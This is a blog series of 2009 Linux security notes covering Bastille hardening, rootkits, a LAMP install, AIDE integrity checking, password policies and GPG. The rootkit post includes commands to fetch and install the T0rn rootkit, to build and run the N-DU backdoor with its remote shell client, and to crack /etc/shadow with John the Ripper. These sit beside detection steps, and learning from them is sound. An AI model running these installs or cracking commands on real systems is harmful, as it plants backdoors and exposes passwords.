Friday, October 16, 2009

Linux Securirty Notes 13: Hardening With Bastille-Linux

Bastille Linux
    This is a project containing various components to determine how secured our Linux servers are. It scans the system and reports  how secured we are and  provides the policies to help tightening the Linux system from various different componants such as user accounting, startup scripts, services that runs in system, TTYs . Other various components also considered when bastille Linux is installed in system, which can be checked while running the Bastille-Linux .

Installing the Bastille-Linux
Download source from Project Home.

Reference:
Project Home:
http://bastille-linux.sourceforge.net 
http://www.bastille-unix.org/
Article:
http://www.linux.com/archive/feature/118353

# tar -xjvf Bastille-4.0.5.tar.bz2
# cd Bastile*

    Note:-
        Bastille uses perl and shell scripts to make changes to system.
The source contains various components that used to secure the system.
# ./install-sh
     This installs the Bastille script to the system. This will keep the link of the binary to the path /usr/sbin.
# bastille -c
    This will run the bastille in command mode. If any other dependencies are not fullfilled including the perl modules it will show the error while exicuting

So install the perl modules using CPAN.
# perl -MCPAN -e shell
(After initializing the cpan)
cpan> install $perl_module_name
   
# bastile -c
    Now this will start the bastile in the curses interface (CLI).

Checking the current system security Level.

# bastille --assess
    This will start the default browser with the Bastille Hardening Assessment Report in HTML page. So we have to run before configuring anything to get a mere picture that how secured our system is.
For eg :- RHEL fresh installation with latest patches Bastile gives Score about 7.25 out of 10.
So we can navigate through each and every items that the bastille has been scanned for.
Eg:- File permissions, Account Security, Boot Security, Daemons etc.

Hardening the system using Bastille.
# bastille -c
    This will star the bastille script in curses based interface. It opens a dialogue box in which we can navigate through the various options(These options are having the same sequence to the options in the results in command  bastille --assess).
General Options Available while running the Bastille
1. File permissions
    This deals with the permission with the binaries such as traceroute, ping, ifconfig, mount, fsck that general user doesnt need to have the access. Usually these can be exicuted by the normal user.This removes the setuids that have been given for certain commands that makes the user to exicute the program
as root. It will also prompt to uninstall the rlogin or rsh ("r" programs) which leads the communication in clear text format.

2. AccountSecurity.

    Here we can setup the account level security. This will disable the "r" programs. setup the default UMASK(0002) to more secure one. Allow or disallow root logins to consoles (TTY 1-6).Ask to password protect in single user mode. Secure inetd services etc.

3. ProcessAccounting
    forke the cpu access or limit the system resource to given limit for non-root user.

4. MicellaneousDaemons.
    It will ask to tune the other daemons in the system
5.Firewall
    This will create the firewall rules to the system.
       
    Now finish to start processing the system Harening. Now the system will be hardened according to the configurations that we have chosen.

Now its time to Re-assess the system security to verify the Bastille.

# bastille  --assess
    Now we can see the level of security has been increased.
        The script is sellf explanatory and have to read through the explanation while running the script to explore more.

Reverting the chages performed by Bastille
# bastille -r
    This will revert all the actions performed by the bastille.

/var/log/Bastille & /var/log/Bastillerevert/
will contain all the changed config files, backup of the original files that have changed and logs.

Wednesday, October 14, 2009

Linux Securirty Notes 12: Rootkits

RootKits - Security
    RootKits are bundles of programs that are meant to exploit the existing programs on the system for the purpose of providing backdoor access to crackers . Inshort the rootkits will provide a back door access to cracker. RootKits can be installed by gaining the root access or by exploiting the vulnerability of any software to gain the access of privilege users
RootKits are installed in several ways.
  • Using physical access. (Manipulating the grub and installing the rootkits in runlevel 1 & using any physical media like USB, CD-ROM etc)
  • By getting the root/user password by sniffing/bruteforce attack and install the root kit.

Major Function of Rootkits once it installed in *nix box
  • An attacker may use a rootkit to replace vital system executable, which might be altered to hide processes and files the attacker has installed, along with the presence of the rootkit.
  • RootKits act to obscure their presence on the system through subversion or evasion of standard operating system security scan and surveillance mechanisms such as anti-virus or anti-spyware scan, this makes they are Trojans as well, thus fooling users into believing they are safe to run on their systems
  • Rootkits may also install a "backdoor" in a system by replacing the login mechanism (such as /bin/login) with an executable that accepts a secret login combination, which, in turn, allows an attacker to access the system, regardless of the changes to the actual accounts on the system.
Detecting and cleaning up the RootKits:

    T0rnkit is one of the "older RootKit" that can be used to manipulate some of the binaries and make the server to compromise and enables a backdoor access. So now we will have a hands on by installing a the T0RNROOTKIT.

T0rnkit

Installation:
    Download it from www.geocities.com
# wget www.geocities.com/john_curst/tk.gz
# tar zxvf tk.gz
# cd tk

    These folder contains modified binaries and the rootkit. The binaries are du, find, ifconfig, in.fingerd, login, ls, netstat, ps, pstree, top, ssh.tgz etc. These binaries have been modifies and the installation of the tornkit will replace all the original binaries with this altered binaries and makes the system accessible to third party via
backdoor.
# ./t0rn
    This will replace all the binaries in this directory with the original binaries. The execution of this binary will echo the status of the binary replacement.
Now if we try executing any of the compromised binaries eg:- ls, top, pstree etc the exicuted binary can now open your system to the cracker with the respective privileges.

Detecting the RootKit
Step 1:
    1. We have to take the md5sum for the prestige binaries in the system just after the installation to compare later on when the system is subjected to compramise.
Step 2:
    2. The usage of AIDE tool can be used to detect the change in the binaries done by RootKit. (refer Linux Security Notes - AIDE). This will detect the changed binaries, newly added files and folders And the removed files. So from this we can make out what binaries has been changed. Manual check with the changed binaries and the configuration files will give the mere idea that where & which binaries has been invoked upon next reboot the bring back the rootkit process. This is the simple way for checking the binary files integrity in case of any rootkit installation.
Step 3:
    3. Installing the rootkit checker     
CHKROOTKIT is the common rootkit checking tool

Installtion & configuration of CHKROOTKIT
    Dowmload chkrootkit, md5sum and signature from www.chkrootkit.org/download. Compare the keys. chkrootkit runs has a shell script with helper  binaries.

# tar -zxcf chkrootkit-0.55
# cd chkrootkit-0.55

    Here we have chkrootkit shell script. This script scans the appearence of any rrootkits. This chkrootkit shell script relies upon "ls" "ps" and "find" commands. So keep in mind that we will have a uncompramised binaries of the "ls" "ps" & "find". These binaries can either be reinstalled or can be copied from any of the other systems before exicuting the chkrootkit . The chrootkit scripts need some of the binaries to get a versatile result on scanning. These programs are included in the source package of chkrootkit.
We have to compile these binaries (helper programs) and make available to chkrootkit while scanning.

# make sense
    This will compile all the 'C' programs and compiles the binary. This will yield some binaries which will be helping the chkrootkit script for scanning. These binaries can be exicuted intependandly for verifying the system.

Running the chkrootkit
#./chkrootkit OPTIONS TESTNAME

#./chkrootkit
    This will check all the options and all the rules. This will start scanning all the files from the "/" of the directory and echos the out put in to the screen. The infected files will be denoted as INFECTED . And it will search for all the key rootkits that known to chkrootkit and echos too.  Using this result of chkrootkit and comparing with the AIDE output taken prior to compramise we can change/reinstall the binaries effected by rootkits and the remove the files and folders created by rootkits.

OUTPUT:
For an uninfected file the out put will be:
Checking `amd'... not found
Checking `basename'... not infected
Checking `hdparm'... not infected


For an Infected file the output will be:
Checking `ifconfig'... INFECTED
Checking `login'... INFECTED


    Now after cleaning up check the AIDE again to verify the file integrity. Run chkrootkit. Then use nmap and Nessus for checking any more ports are listening or still more vulnurability is there or not.

Notes:-
   Types of rootkits
  1. Will change the key binaries. This can be detect with AIDE/Chkrootkit.
  2. Runs as a kernel modules - LKM (Loadable Kernel Module) This can be also be detected by the AIDE/Chkrootkit. We can check this type of rootkits by comparing the modules prior and after the suspect of compramise using the # cat /proc/modules or lsmod
  3. Writes directly to /dev/kmem. It access directly the memmory area that applications that are using. And is very hard to trace out.
Other Binaries in chkrootkit.
#./ifpromisc
    Will check whether the interface is running in promiscuous mode.
#./chklastlog
    checks the logfile for any manipulation.
#./chkproc
    checks the trace for rootkits in the proc file system.
Consult the README file in the source code for more options on exicuting the chkrootkits.

Note:-
    Always have a AIDE DB for reference.

N-DU ROOTKIT
    This is a simple rootkit which provides the server and clinet components to set up a backdoor for cracker in server by connecting to it remotely using UDP protocol. It sets up the UDP listener port:1500 which makes difficult to trace out. This waits for specially-crafted packets generated by the N-DU client and when revieves it switches to TCP: Port specified by Cracker.

For testing we will download the N-DU rootkit now.
            Download the N-DU rootkit from http://packetstormsecurity.nl/UNIX/penetration/rootkits/
(You will find a lot of penetration tools here in this website including various security tips. Here you can the majority of the rootkits which gives the cracker the backdoor entry)

Find the N-DU rootkit and download. We need the 'C' compiler installed to compile it.
# tar -zxvf nd-du.tgz
    This will extract the source.
n-client.c (n-du client)
n-du.c  (n-du server)

Makefile
    are the files included in the source.
# make
    This will yield 2 new binaries called n-du (server rootkit) and n-client (client rootkit).
The cracker will place the n-du binary in the server which he needs to be accessed through backdoor and exicutes it. Now he uses the n-client from outside the network to connect to the n-du server.

#./n-du

    This will start the n-du rootkit in the daemon mode, starts the process and binds to the UDP port 1500. the user privilage relies upon the user which has exicuted the n-du daemon. for eg:- if the root user has been exicuted the n-du binary then the cracker if ne connects from outside using the n-client binary will gain the root shell access.
#netstat -tulpn
    This will show now the port 1500 has been started listening.

Exicuting the n-client
    Now in the client the cracker exicutes the n-client to access the remote server shell
# ./n-client host TCP-Port UDP-Port
    Host=the remote host that n-du needs to be connected to
    TCP Port = is the port that needs to be shifted once the connection is been established.
    UDP Port = the udp port that the remote n-du is listening.


#./n-client remotehost  6666 1500
    This will ask for the password. Now press enter with out any entry .This will gain you the remote system access with the user privilege that the n-du daemon runs.

        Use nmap and netstat to trace out the unknown open port. Check the vulnerability using the Nessus. And always use the AIDE file integrity tool along with chkrootkit to find out the new files installed by any rootkits

LAMP Server For CentOS/RHEL

This tutorial shows a quick way of installing a LAMP server (Linux + Apache + MySQL + PHP/Perl together commonly known as LAMP Server.) on CentOS and RHEL server systems.
  • Apache Web Server 2.x
  • MySQL Database Server 5.x
  • PHP Scripting Language 5.x
  • phpMyAdmin - Web based MySQL Administration Tool

Install Apache
     Apache is the most popular Web HTTP server for a Linux servers.
# yum install httpd httpd-devel
We might need the httpd-devel libraries to compile and install other modules from the sources, just to be on the safer side. /etc/httpd/conf/httpd.conf - Apache configuration file location.
# /etc/init.d/httpd start

Install MySQL Database Server     MySQL is a widely used open source database server on most Linux servers and can very well integrate to PHP and Apache server on CentOS/RHEL.
# yum install mysql mysql-server mysql-devel

If you attempt to type mysql in command prompt, you will be getting this nasty error.
ERROR 2002 (HY000): Can’t connect to local MySQL server through socket ‘/var/lib/mysql/mysql.sock’
This is because you are not running the mysqld daemon before launching the mysql client. The file /var/lib/mysql/mysql.sock will be automatically created upon running the first instance of mysql.
To fix:
First start the mysql daemon, then type mysql:
# /etc/init.d/mysqld start
# mysql


Changing MySQL Root Password     By default the root password is empty for the mysql database. It is a good idea to change the mysql root password to a new one from a security point of view.
mysql> USE mysql;
mysql> UPDATE user SET Password=PASSWORD('newpassword') WHERE user='root';
mysql> FLUSH PRIVILEGES;

Once done, check by logging in:
mysql -u root -p
Enter Password:

 
To Create A New MySQL User
     To create a new mysql user 'guest' with 'all privileges' on the database 'demo':
mysql > create database demo
mysql >GRANT ALL PRIVILEGES ON demo.* TO 'guest'@'localhost' IDENTIFIED BY 'guest' WITH GRANT OPTION;
mysql> UPDATE user SET Password=PASSWORD('guest') WHERE user='guest';

That's it! MySQL is ready! Don't forget to remember the root password as we might be using it with phpmyadmin.

Install PHP5 Scripting Language
     Installing PHP5 with the necessary modules is so easy and can be configured for both the Apache and mysql environment.
# yum install php php-mysql php-common php-gd php-mbstring php-mcrypt php-devel php-xml
Don't forget to install php-gd (gd library). It is very important if we plan to run captcha scripts on our server and so as other which are dependent on mysql and other functions.
Restart Apache to load php.
# /etc/init.d/httpd restart

To Test If PHP Is Working Or Not:
Create a file named /var/www/html/test.php with the following phpinfo() function inside php quotes.
// test.php
    phpinfo();
  ?>
Then point your browser to http://ip.address/test.php.
That's it! You should see a php configuration file displaying all kind of paths and installed modules.
Closely observe the installed configuration on your server.
  •   PHP Paths (php.ini path)
      Apache paths and Loaded Modules (mod_security, mod_evasive if installed_
      PHP GD Library
      MySQL paths and other information
Install phpMyAdmin
     phpMyAdmin is a free web based MySQL database Administration Tool. Without phpMyAdmin it is almost impossible to mysql db operations in the command line. phpMyAdmin has become so convenient and it is absolutely sought by most webmasters to be present along with the mysql server.
# yum install phpmyadmin
Point your browser to: http://ip.address/phpmyadmin.
 
Common Errors
    You might encounter the following errors while configuring phpmyadmin.
Forbidden
You don't have permission to access /phpmyadmin/ on this server.

To fix:
Edit the /etc/httpd/conf.d/phpmyadmin.conf and uncomment the line deny from all.
# nano /etc/httpd/conf.d/phpmyadmin.conf

  Order Deny,Allow
  # Deny from all
  Allow from 127.0.0.1
  

Error
The configuration file now needs a secret passphrase (blowfish_secret)

To fix:
# nano /usr/share/phpmyadmin/conf.inc.php
Look for a line and enter any password. Just dont leave it empty!
$cfg['blowfish_secret'] = 'mydpassword'; /* YOU MUST FILL IN THIS FOR COOKIE AUTH! */
It worked for me using the above methods!
Log into the phpmyadmin with the mysql root password we changed while installing the mysql database.

Tuesday, October 13, 2009

Linux Securirty Notes 11: AIDE File integrity

AIDE    
     Advance Intrution Detection Enviornment is a tool to check the file integritty. It is a opensource substitute for TRIPWIRE. It allows to take snapshot of all the major configuration files, binaries as well libraries stats. And helps to find which binaries has been changed in case of compramisation of the system . This can be downloaded from http://sourceforge.net

Download both the binaries and signature file.
Import and Verify the GPG keys.

Compiling and installing the AIDE
     Read the INSTALL doc in the source code of AIDE to get the requirement of the packages. The mhash utility is needed prior to the installation of the AIDE. Download the mhash utility that is needed for running the AIDE. Download it from sourceforge.net

Extract the packages AIDE & MHASH

installing the MHASH
# tar -zxvf mhash-0.9.2.tar.gz
# cd mhash-0.9.2
# ./configure
# make
# make install

    this will place the binaries and libraries in to /usr/local

Installing the AIDE
# tar -zxvf aide-0.10.tar.gz
# cd aide-0.10
# ./configure
# make "this will create the aide binary"
# make install

    will copy the binaries to /usr/local/bin.
note:-
    Making note of the md5sum for the binary which has been installed is a good idea to trace out the man in middle attack .

Configuring and Monitoring the files with AIDE

Step 1.
Generate aide DB (creating the snapshot of file stats)


edit aide.conf configuration file from the aide-0.10/doc/ directory  to define the rule that which directory has to be monitored.
------
# 3 type of line are there
#    1. variables
#    2. Macros
#    3. types of file, which includes the directories, to monitor.
database=file:/home/kiran/aide/aide.db (this will define the aide database store location)
#Now define here the aide rules
#This will monitor all the subdirectories beneath /etc/
/etc R
# check the defnition for R in the aide.conf file.
#=/etc/ R (Only etc directory will be moniotoerd)

------

Now create the aide DB.
# aide  -c  aide.conf  --init
    This will create a new database called aide.db.new.  This command will scan all the files in the /etc/ directory and stores as a database called aide.db.new
Note:-
    AIDE uses the stat command to get the details of the file including the permissions, inode, acess time modified time etc and will store in the aide.db file

Comparing the AIDE with the DB
# aide -c aide.conf  --check
    This will show the status of the current /etc/ subdirectory by comparing with the aide.db, the snap shot taken from the previos command.

Now test the AIDE Functionality.

#edit any file in /etc/ sub directory
now check again with the command
# aide -c aide.conf  --check

   This will show the change of the file from previos state.

Note:-
    The aide --check has to be done in frequent. and if we found any changes verify it and again update the aide DB.
Updating the aide DB after checking the aide db
# aide -c aide.conf --update
    This will reset the database to current status of the /etc/ subdirectories.

Including the more directories to monitor.
#edit aide.conf
-------------
/boot  R
/bin   R
/etc   R
/lib   R
/usr   R
/install   R
/sbin$   R #aide will not recurse in to the subdirectories

-------------
Other configuration options
-------
/ R
!/var  #
This will make to monitor all the directories inside the "/" and will exclude the /var directory.
-------
# aide -c aide.conf  --init
    This will generate a new DB for all the directories defined in the aide.conf.
   
Note:-
    This will help us to trace out which file has been effected incase of any compramise happened to the system by comparission with the DB taken prior. Once we have the aide db created better to burn the aide binary config files and the aide db in to any read only medium. So this will increase  the integrity of the aide DB.
#mkisofs -V Aide_DB`date +%F` -J -R -o aide.iso /Aide/directory
#cdrecord -v -eject aide.iso

 Later incase of any suspect to exploit can load these binary, aide DB and config file for AIDE Audit.

Monday, October 12, 2009

Linux Securirty Notes 10: Account Policies & Password Crack

CHAGE - Account policies.

/etc/passwd and /etc/shadow files are manipulated to configure the account policies. /etc/groups stores the information about the groups

/etc/passwd Format:
-------
root:x:0:0:root:/root:/bin/bash
#User ID: Refer password to Shadow File: User ID: Group ID: Comment: Home directory: SHELL.

------
    This file has to be regularly checked for any root equivalent entry (any other users having the user id '0') in case of any suspected compromise to the system.
/etc/shadow Format:
root:$!*&^#*&J@*(&#JHJKgFU:13037:0:99999:7:::
    This file contains the encrypted password and the password policies information.

CHAGE
 Using this chage command we can alter the password policies.

Setting up the accound policies:
/etc/login.defs
    This file defines the key variables that appiles to all users while creating the new users.This includes the following settings
Default Mail directory
Max password age days
Min Passsword held days
Password warining days etc

minimum and maximum user IDs
and the option of creating the home directories etc.
    After altering the file a new user created will be inheriting the new settings. Old users will retain their previous settings.

Now create a user and check the password policy using
# chage -l user
    This will show the default account policy set.
    If need to change the password policy upon per user basis can set password policy using chage.
#chage -m 3 user
    this updates the calue of minimum days of password held to 3
#chage -M 45 -W 7 user
    THis will change the value of Maximum password days to 45 and gives a Warining before 7 days of password expiration.

extract the usernames from the password file
# for i in `awk -F : {' print $1 '} /etc/passwd; do echo $i; done
    awk runs as field separator and prints the field 1. and extracts the user names from the file /etc/passwd

John The Ripper Tool:
    This is the password integritty checker as well password cracker. Download the tool and signature from www.openwall.com.
#gpg  --import


# gpg --verify john-1.7.tar.sig john-1.7.tar.gz
# tar -zxvf john-1.7.tar.gz
# cd john-1.6
# make

    This will return the list of system that this program can compiled on. So search for the file that has the similarities to our hardware.
eg :- "linux-x86-mmx-elf"
# make  linux-x86-mmx-elf
    Now the binary will be compiled
# cd run
    In this file we will get the newly compiled binary named "john"

#./john -users:root,kiran,jithu /etc/shadow
    If you have got a weak password in shadow it will echo the result of the password crack. including the alorithm used for encryption. This process result in creation of a file called john.pot which contains the encryption string and corressponding password.
#./john -show -users:root,kiran,jithu  /etc/shadow
    This will show the password cracked history (read from the file john.pot) in clear text format
kiran:kiran123:13037:3:45:7::: (the shadow file format)

    The more difficult password the time taken by the tool and the utilization of CPU will be more. Even more length of password with out any combination of case sensitive will make more time to crack. So usage of the password having more than 7 characters of minimum length will make more time to crack the passwords

#./john  /etc/shadow
    This will crack all the users in the system.

Linux Securirty Notes 9: GPG Encryption

GPG
    Gnu Privacy Gard is an open source of Pretty Good Privacy and 100% compatible with PGP.It based on PKI (Public key private key encryption). GPG encrypts data / mails etc.

Steps in Encrypting Data using the GPG

Step 1:
    Genarate PKI pairs (Public/private Key)
# gpg --gen-key
     This will Prompt for options like key strength and various other details and store the key inside ~/.gnupg/.
pubring.gpg and secring.gpg are the public and private keys respectively.
Now make note of the key finger print. This is used to matching the public keys.
# gpg --list-keys
    This will show the keys that has been generated
# gpg --fingerprint
    This will show the finger print for the keys.

Step 2:
    Now we can encrypt the data using the private key
Encrypt the data:
# gpg --list-keys
    This will list the keys
# gpg --encrypt -r kiran install.log
    -r is used to define the public key ID also can use the user name(This reffers which key has to be used) and the install.log is the file that we are encrypting. As a result  a new file will be created by the name install.log.gpg. Now if we cat the content of the file install.log.gpg now we can see that the file is been encrypted (This will use the compression as well so file size will be less than the original file).

Decrypt the data:
#gpg --decrypt install.log.gpg
    Will decrypt the file and the STDOUT will be shown in the bash terminal.
# gpg -o install.log --decrypt install.log.gpg
    This will decrypt to the file install.log

Encryption Decryption using the Armor
# gpg -e --armor -r kiran install.log
    This will encrypt the data with armored (Neatly encrypts the data). Creates the file with the name install.log.asc
# gpg --decrypt install.log.asc
     this will decrypt the encryption with armor

Encryption and Decryption accross the network:
       
    Now in this case we have to export the publicring keys and import it on remote machine to decrypt the data.
Exporting the public Key.
In host1:
# gpg --export --armor -o remotehost1.asc.pub
    This will export the public key to the file remotehost.asc. Now this key can be imported to any host for decryption.
In host2:
# gpg --export --armor -o remotehost2.asc.pub
    Now both the users have exported their public keys. Now we can import the public keys to system to create "web of trust".

Now import the keys
In Host 1:
get the public key of Host2 "remotehost2.asc.pub" securely  and import it
# gpg --import remotehost2.asc.pub
    This will import the key of Host2 in host1 for the current user
# gpg --list-keys
    This will show all the keys.

Now import the keys
In Host 2 also:
get the public key of Host1 "remotehost1.asc.pub" securely  and import it
# gpg --import remotehost1.asc.pub
# gpg --list-keys

    Now we have both the pub keys installed in both systems.

Testing the encryption:
# gpg --list-keys
# gpg -e -r 89909823636 --armor -o test.txt.asc  test.txt

     While encryption make sure that the same key is used. For this instead of giving the username for the flag " -r " use the key ID in our case it is "89909823636". Now this will re-confirm the key that going to encrypt.
This will encrypt the file and send this accross the wire to host2.
In host2
# gpg --list-keys
     Find the key which has the ID 89909823636 from above command
# gpg --decrypt -r 89909823636 -o test.txt test.txt.asc
    This will decrypt the file and create the new file test.txt.
   
GPG - Signing & Encryption
 * Signing is different from encrypting the data. Signing is to prove the authenticity of the data send to the reciever stating that "This data belongs to the sender". Signing is independent to encryption of data. We can encrypt without signing. Sign and Encrypt to prove authenticity is recommended.

Signing a file:
     The Private key of the sender is used to sign the data. And the recipient decrypts the signature using senders public key.

Encrypt the data
# gpg -e --armor -r 80098FC8 file.txt
    This will armor and encrypt the file using the key ID 80098FC8 .
When a file is singed, when decrypting the the data the gpg will show the signature

Signing and Encrypting:

#gpg -se --armor -r 80098FC8 file.txt   
    This will encrypt as well as sign the data using the private key 80098FC8 . Now when we decrypt the data the gpg will show the signature as well as Key finger print and also about the key whether it is trusted or not in the shell output.
#gpg -d -r 80098FC8 file.txt.asc
    This will decrypt the data along with it will show the signature too. But if the trust level of the key is not set this will show you the msg that "there is no indication that this key belongs to sender"

Increasing the Trust Level of the KEY.(Certifying the key with trusted signature):

#gpg --edit-key  8177ACE
    This will give the promtp to edit the key having the ID 8177ACE.
Command> help
    Will show the help menu
Command> trust
    Now give the trust level(the each level will be explained by the interactive menu in gpg) Select from 1 to 5 class of trust.
Command>  quit
    Now the trust level is set.

So now sign, encrypt and send to remote user. Now decrypt the file in the remote machine.
Note:- Still if u see that trust need to increased in remote machine, This means in remote system also we have to increase the trust level. Now test again.

GPG - detaching the signature:
     (--detach-sign or -b) This option will detach the signature from the encrypted file and both the signature and encrypted file can be send it separately to remote system.When creating the detached signature no need to specify the recipients (-r) public key. The process of creating the signature relies upon the senders private key.

Creating the encrypted file and a separate signature for it.
# gpg -ea -r 8900DAC08 test.txt
    This will create a encrypted file called test.txt.asc. But this will not be signed.
# gpg -b test.txt.asc
    (-b will tell to create a seperate signature) The signature created by each and every file will be different.
This will create a file called test.txt.asc.sig
   
Now send both the file to remote system.
Testing the file with the signature in remote system.
    When verifying and decrypting the content of assosiated encrypted file follow this

1. Verify the md5sum
2. Verify the signature
3. Decrypt the encrypted file


Verify the md5sum
# Check the md5sum and compare with the sender's md5sum for both the file and signature

Verify the signature
# gpg --verify  test.text.asc.sig  test.text.asc

    This will return the signature status.

Decrypt the encrypted file
# gpg -d -o test.txt test.text.asc

Integrating the GPG with mail clients:
    The encryption is based on the email address in allmost all the MUA. It is not done by the key ID. So make sure that the matching key has been installed in both of senders and relievers MUA before encrypting and sending the msg. The GPG key has to be created and trust level has to be defined with the exact mail ID.